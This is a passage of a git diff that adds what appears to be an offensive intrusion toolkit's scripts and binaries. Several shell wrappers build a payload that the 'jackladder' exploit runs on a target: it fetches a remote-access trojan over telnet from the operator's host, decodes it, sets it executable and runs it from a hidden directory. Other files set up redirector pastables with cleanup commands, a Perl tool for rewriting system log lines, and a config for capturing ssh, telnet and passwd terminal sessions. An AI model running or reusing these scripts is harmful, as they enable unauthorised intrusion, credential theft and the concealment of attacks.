$RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo " " +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/sgitelnet.sh.old2 b/Linux/bin/sgitelnet.sh.old2 new file mode 100755 index 0000000..17362a8 --- /dev/null +++ b/Linux/bin/sgitelnet.sh.old2 @@ -0,0 +1,38 @@ +#!/bin/sh +case "${#}" in + 0|1|2|3|4|6|7) + echo "Usage: ${0} " + echo " jl is assumed to be in ./jl" + echo " e.g. ${0} alice $LOCALIP /tmp/.X11R6 32177 nscd" + exit + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +TARGETDIR=$3 +LOCALPORT=$4 +RAT_FILE=$5 + +#1 on line below is for F version. Use 2 for D version +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D $RAT_FILE +exit 0" + +#now run jackladder +#mail +REMOTEPORT=25 + +export REALCMD +./jl.command telnet $REMOTEIP $REMOTEPORT diff --git a/Linux/bin/sgitelnet.sh.old3 b/Linux/bin/sgitelnet.sh.old3 new file mode 100755 index 0000000..dd87af1 --- /dev/null +++ b/Linux/bin/sgitelnet.sh.old3 @@ -0,0 +1,102 @@ +#!/bin/sh +usage () { + echo "" + echo "Usage: ${0} [] [ ]" + echo " jl is assumed to be in ./jl" + echo " jl_port defaults to 25" + echo " rat_port optional - default used if not given, but if" + echo " rat_port given, rat_name must be nosy or nopen" + echo " e.g. ${0} alice LOCALIP 32177 /tmp/.X11R6 nscd" + echo " e.g. ${0} alice LOCALIP 32177 /tmp/.X11R6 nscd 13 33433 nosy" + echo "" + exit +} +case "${#}" in + 0|1|2|3|4|7) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +if [ "$JLPORT" = "" ]; then + JLPORT=25 +fi +if [ "$RAT_PORT" != "" ]; then + if [ "$RAT_NAME" = "" ]; then + echo You must supply rat_name with rat_port + echo "" + usage + fi + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +echo CommandLine: ${0} ${*} + +#1 on line below is for F version. Use 2 for D version +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo " " +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi +echo $MINUSN "Hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/sgrepsub b/Linux/bin/sgrepsub new file mode 100755 index 0000000..a71b331 --- /dev/null +++ b/Linux/bin/sgrepsub @@ -0,0 +1,51 @@ +#!/usr/bin/env perl +# +$version = "1.0"; + +use Getopt::Std; + +$opt_f = "/var/adm/messages"; +$opt_s = "./s"; + +getopts('i:r:c:s:f:h'); + +sub usage{ + print "usage: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 + -i + -r + -c to find the column number> + -h + -f + -s +ex) sgrepsub -i /tmp/messages -r /tmp/rand -c 31 -f /var/log/messages +"; +exit; +} + +if($opt_h || !$opt_r || !$opt_i || !$opt_c){ + usage(); +} + +$opt_c--; + +open(FILE,$opt_r) or die "$!"; +while(){ + chop; + $replace[$line++] = $_; +} +$line--; +close(FILE); + +$i = 0; +open(FILE,$opt_i) or die "$!"; +while(){ + chop; + if($i++ >= $line){ + $i = 0; + } + print $opt_s; + print " \"$_\" "; + substr($_,$opt_c) = $replace[$i]; + print "\"$_\" "; + print "$opt_f\n"; +} diff --git a/Linux/bin/shentysdelight.all.tar b/Linux/bin/shentysdelight.all.tar new file mode 100644 index 0000000..c96e86d Binary files /dev/null and b/Linux/bin/shentysdelight.all.tar differ diff --git a/Linux/bin/slugger2 b/Linux/bin/slugger2 new file mode 100755 index 0000000..21299c9 Binary files /dev/null and b/Linux/bin/slugger2 differ diff --git a/Linux/bin/smash b/Linux/bin/smash new file mode 100755 index 0000000..2be4533 Binary files /dev/null and b/Linux/bin/smash differ diff --git a/Linux/bin/smash-upload b/Linux/bin/smash-upload new file mode 100755 index 0000000..4e47301 Binary files /dev/null and b/Linux/bin/smash-upload differ diff --git a/Linux/bin/sneer b/Linux/bin/sneer new file mode 100755 index 0000000..20545fb Binary files /dev/null and b/Linux/bin/sneer differ diff --git a/Linux/bin/sneer.old b/Linux/bin/sneer.old new file mode 100755 index 0000000..5dbee7d Binary files /dev/null and b/Linux/bin/sneer.old differ diff --git a/Linux/bin/snmpxdmid b/Linux/bin/snmpxdmid new file mode 100755 index 0000000..20dd91f Binary files /dev/null and b/Linux/bin/snmpxdmid differ diff --git a/Linux/bin/sshobo b/Linux/bin/sshobo new file mode 100755 index 0000000..43d3179 Binary files /dev/null and b/Linux/bin/sshobo differ diff --git a/Linux/bin/sshobo-upload b/Linux/bin/sshobo-upload new file mode 100755 index 0000000..4e6cdce Binary files /dev/null and b/Linux/bin/sshobo-upload differ diff --git a/Linux/bin/startpyside b/Linux/bin/startpyside new file mode 100755 index 0000000..6a9be6b --- /dev/null +++ b/Linux/bin/startpyside @@ -0,0 +1,25 @@ +#!/bin/bash + +cd `echo $0 | sed -e "s/startpyside//g"`pyside + +# Make the device if it doesn't exist +[ -e /dev/sttun ] || mknod /dev/sttun c 10 64 + +# Start sttunctl if it's not already started +PSGREP=`ps -ef | grep sttunctl | grep -v grep` +retVal=0 +if [ "$PSGREP" == "" ]; then + ./sttunctl $* + retVal=$? +fi + +if [ "$retVal" == "0" ]; then + ./pyside.py +fi + +# Stop sttunctl if nobody's using it +PYCHECK=`ps -ef | grep pyside | grep -v grep | grep -v start` +if [ "$PYCHECK" == "" ]; then + killall sttunctl + rmmod sttunmod-`uname -r` +fi diff --git a/Linux/bin/statdx.linux b/Linux/bin/statdx.linux new file mode 100755 index 0000000..0c60f58 Binary files /dev/null and b/Linux/bin/statdx.linux differ diff --git a/Linux/bin/stattunnel b/Linux/bin/stattunnel new file mode 100755 index 0000000..78f299b --- /dev/null +++ b/Linux/bin/stattunnel @@ -0,0 +1,6 @@ +#!/bin/sh +[ "$PORT" ] || PORT=$1 +[ "$PORT" ] || PORT=`cat /current/bin/.tunnelport` +[ "$PORT" ] || PORT=18787 +echo 'echo "s" | nc -w1 -u 127.0.0.1' $PORT +echo "s" | nc -w1 -u 127.0.0.1 $PORT diff --git a/Linux/bin/strangeFiles.py b/Linux/bin/strangeFiles.py new file mode 100755 index 0000000..bc4c560 --- /dev/null +++ b/Linux/bin/strangeFiles.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python2.7 + +import sys +import os +from optparse import OptionParser + + +def main(): + parser = OptionParser(usage='strangeFiles.py [options]') + parser.add_option('-f', dest='FINDFILE', type='string', action='store', help='The find file to search through') + opts, args = parser.parse_args() + if len(sys.argv) == 1: + parser.print_help() + return + if opts.FINDFILE: + if os.path.isfile(opts.FINDFILE): + #>>> a = ["".join(x) for x in list(itertools.product(",. ", repeat=2))] + #>>> b = ["".join(x) for x in list(itertools.product(",. ", repeat=3))] + #>>> c = [x for x in b if x[1]==" "] + strange_dirs = [',,', ',.', ', ', '.,', '..', '. ', ' ,', ' .', ' ', ', ,', ', .', ', ', '. ,', '. .', '. ', ' ,', ' .', ' '] + print "Searching for the following strange directories:\n%s" % "\""+"\" \"".join(strange_dirs)+"\"" + found_dirs = 0 + for line in open(opts.FINDFILE): + if "|" in line: + for dir in strange_dirs: + # Get only the file name by splitting on white space and then rejoining with spaces + # This eliminates tab characters and makes them a single space + array = line.split() + try: + theline = " ".join(array[22:array.index("--")]) + except: + theline = " ".join(array[22:]) + if "/"+dir in theline or dir+"/" in theline: + print "HIT:\n\"%s\"\t%s" % (dir,theline) + found_dirs = 1 + break + if not found_dirs: + print "\n\tNo strange directories found.\n" + else: + print "\n\nSearching complete. You may close this window once these have been checked." + else: + print "\nError: file %s not found.\n" % opts.FINDFILE + parser.print_help() + + +if __name__ == '__main__': + main() + diff --git a/Linux/bin/stun b/Linux/bin/stun new file mode 100755 index 0000000..78db5ef Binary files /dev/null and b/Linux/bin/stun differ diff --git a/Linux/bin/suaveeyeful_i386-unknown-mirapoint3.4.3.tar.bz2 b/Linux/bin/suaveeyeful_i386-unknown-mirapoint3.4.3.tar.bz2 new file mode 100644 index 0000000..9a73c32 Binary files /dev/null and b/Linux/bin/suaveeyeful_i386-unknown-mirapoint3.4.3.tar.bz2 differ diff --git a/Linux/bin/suctionchar.authenticate b/Linux/bin/suctionchar.authenticate new file mode 100755 index 0000000..924bcdd Binary files /dev/null and b/Linux/bin/suctionchar.authenticate differ diff --git a/Linux/bin/suctionchar.decrypt b/Linux/bin/suctionchar.decrypt new file mode 100755 index 0000000..4a5a6b5 Binary files /dev/null and b/Linux/bin/suctionchar.decrypt differ diff --git a/Linux/bin/suctionchar.genconf b/Linux/bin/suctionchar.genconf new file mode 100755 index 0000000..c0b10ed Binary files /dev/null and b/Linux/bin/suctionchar.genconf differ diff --git a/Linux/bin/suctionchar.viewdata b/Linux/bin/suctionchar.viewdata new file mode 100755 index 0000000..66c569a --- /dev/null +++ b/Linux/bin/suctionchar.viewdata @@ -0,0 +1,7 @@ +#!/bin/sh + +FILE=`tail -1 manifest | sed -e 's/\([^/]\)*\(.*\)/\2/'` +DECRYPTED=$FILE.decrypted + +../bin/suctionchar.decrypt $FILE $DECRYPTED +xterm -title 'Decrypted SUCTIONCHAR output' -e view $DECRYPTED & diff --git a/Linux/bin/suctionchar_configure.xml b/Linux/bin/suctionchar_configure.xml new file mode 100644 index 0000000..3ff7083 --- /dev/null +++ b/Linux/bin/suctionchar_configure.xml @@ -0,0 +1,25 @@ + + + + 5242880 + + + + ^((/usr(/local)?)?/s?bin/)?(ssh|telnet|ftp|passwd)( |$) + 51200 + 0 + 1 + 2 + ^/dev/tty + + diff --git a/Linux/bin/suctionchar_configure__v__3.1.0.4_sparc-sun-solaris2. b/Linux/bin/suctionchar_configure__v__3.1.0.4_sparc-sun-solaris2. new file mode 100644 index 0000000..e69de29 diff --git a/Linux/bin/suctionchar_configure__v__3.1.1.7_x86-linux b/Linux/bin/suctionchar_configure__v__3.1.1.7_x86-linux new file mode 100755 index 0000000..2ee1196 Binary files /dev/null and b/Linux/bin/suctionchar_configure__v__3.1.1.7_x86-linux differ diff --git a/Linux/bin/suctionchar_configure__v__3.2.0.6 b/Linux/bin/suctionchar_configure__v__3.2.0.6 new file mode 100755 index 0000000..f3fcafe Binary files /dev/null and b/Linux/bin/suctionchar_configure__v__3.2.0.6 differ diff --git a/Linux/bin/suctionchar_configure__v__3.3.10.3_x86-linux-centos-5.7 b/Linux/bin/suctionchar_configure__v__3.3.10.3_x86-linux-centos-5.7 new file mode 100755 index 0000000..3a44d7c Binary files /dev/null and b/Linux/bin/suctionchar_configure__v__3.3.10.3_x86-linux-centos-5.7 differ diff --git a/Linux/bin/suctionchar_decodes.tar.bz2 b/Linux/bin/suctionchar_decodes.tar.bz2 new file mode 100644 index 0000000..7eaef54 Binary files /dev/null and b/Linux/bin/suctionchar_decodes.tar.bz2 differ diff --git a/Linux/bin/suntelnet.sh b/Linux/bin/suntelnet.sh new file mode 100755 index 0000000..5ab61fd --- /dev/null +++ b/Linux/bin/suntelnet.sh @@ -0,0 +1,220 @@ +#!/bin/sh +COLOR_NORMAL="\\033[0;39m" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SYNTAX=" \\ + [] [ [nosy] ] +" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 25 17348 + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 113 33433 nosy + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined by the + parameter and ifconfig. + + If you do not set TA and/or TP, you will be prompted for them. +" + exit +} +case "${#}" in + 0|1|2|3|4|9) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$RAT_PORT" != "" ]; then + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="D=\"-l $RAT_PORT\" " + if [ ! "`../bin/noclient | grep '2\.5'`" = "" ] ; then + RAT_ARG="D=\"-l $RAT_PORT\" " + fi + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$TA" ] ; then + DEFTARGETIP=`egrep "^Target IP:" /current/etc/opscript.txt | awk '{print $3}' | head -1` + echo $MINUSN " +Enter the IP of your actual target you are redirecting +through $REMOTEIP to get to (this is used here to echo +a jackpop command to paste into your redirector): [$DEFTARGETIP]" + read TA + [ "$TA" ] || TA=$DEFTARGETIP + fi + if [ ! "$TP" ] ; then + echo $MINUSN " +Enter the actual target's JL trigger port (this is used here +to echo a jackpop command to paste into your redirector): [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + if [ ! "$LP" ] ; then + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth0 + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a eth0 | grep inet | grep -v grep | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo "CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" + +if [ "$JACKPOP" = 1 ] ; then + echo " +Using jackpop with environment variables as follows: + Redirector Address RA=$RA + Redirector Port RP=$RP + Target Address TA=$TA + Target Port TP=$TP + Listening Port on RA LP=$LP + Source Address SA=$SA + +Now, some pastables. First, the jackpop command you need to run in an +INCISION window on $RA, then the -rtun command in a NOPEN window +on the same box, and finally an rm command to wipe jackpop: " +$SETCOLOR_NOTE + echo " + chmod 700 jp&&netstat -an|grep $LP||PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + + rm jp ; ls -al ; ls -al jp + + -rtun $LOCALPORT +" + $SETCOLOR_NORMAL +fi +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/suntelnet.sh.old1 b/Linux/bin/suntelnet.sh.old1 new file mode 100755 index 0000000..6cddb4d --- /dev/null +++ b/Linux/bin/suntelnet.sh.old1 @@ -0,0 +1,217 @@ +#!/bin/sh +SYNTAX=" \\ + [] [ [nosy] ] +" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 25 17348 + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 113 33433 nosy + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined + by the parameter and ifconfig. You will be prompted + for TA and TP if they are not already set. +" + exit +} +case "${#}" in + 0|1|2|3|4|9) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$RAT_PORT" != "" ]; then + if [ "$RAT_NAME" = "" ]; then + echo You must supply rat_name with rat_port to determine server syntax + echo "" + usage + fi + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + echo " +Using jackpop. Environment variables: + RA=\"$RA\" + RP=\"$RP\"" + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + echo "" + if [ "$TA" ] ; then + echo "Using TA=$TA as the actual target you are +redirecting through $REMOTEIP to get to." + else + echo $MINUSN "Enter the IP of your actual target you are +redirecting through $REMOTEIP to get to: " + read TA + fi + echo "" + if [ "$TP" ] ; then + echo "Using TP=$TP as the actual target's JL trigger port." + else + echo $MINUSN "Enter actual target's JL trigger port: [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + echo "" + if [ ! "$LP" ] ; then + echo "Using LP=$RP as the listening port on redirector $REMOTEIP." + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth* + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo " +CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" + +if [ $JACKPOP = 1 ] ; then + echo " +Here's the jackpop command you need to run on your redirector: + + chmod 700 jp && PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + +### and don't forget to delete jackpop with one of: + + -rm jp + rm jp + +Once you have jackpop running on $REMOTEIP," + +fi +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/suntelnet.sh.old2 b/Linux/bin/suntelnet.sh.old2 new file mode 100755 index 0000000..1cf8a9d --- /dev/null +++ b/Linux/bin/suntelnet.sh.old2 @@ -0,0 +1,220 @@ +#!/bin/sh +COLOR_NORMAL="\\033[0;39m" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SYNTAX=" \\ + [] [ [nosy] ] +" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 25 17348 + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 113 33433 nosy + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined by the + parameter and ifconfig. + + If you do not set TA and/or TP, you will be prompted for them. +" + exit +} +case "${#}" in + 0|1|2|3|4|9) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$RAT_PORT" != "" ]; then + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + if [ ! "`../bin/noclient | grep '2\.5'`" = "" ] ; then + RAT_ARG="C=\"-l $RAT_PORT\" " + fi + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$TA" ] ; then + DEFTARGETIP=`egrep "^Target IP:" /current/etc/opscript.txt | awk '{print $3}' | head -1` + echo $MINUSN " +Enter the IP of your actual target you are redirecting +through $REMOTEIP to get to (this is used here to echo +a jackpop command to paste into your redirector): [$DEFTARGETIP]" + read TA + [ "$TA" ] || TA=$DEFTARGETIP + fi + if [ ! "$TP" ] ; then + echo $MINUSN " +Enter the actual target's JL trigger port (this is used here +to echo a jackpop command to paste into your redirector): [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + if [ ! "$LP" ] ; then + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut 